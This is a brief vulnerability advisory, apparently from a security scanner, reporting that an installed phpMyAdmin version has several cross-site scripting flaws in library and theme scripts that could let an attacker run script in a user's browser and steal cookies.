The installed version of phpMyAdmin suffers from multiple cross-site scripting vulnerabilities due to its failure to sanitize user input in several PHP scripts used as libraries and themes. A remote attacker may use these issues to cause arbitrary code to be executed in a user’s browser, to steal authentication cookies and the like.
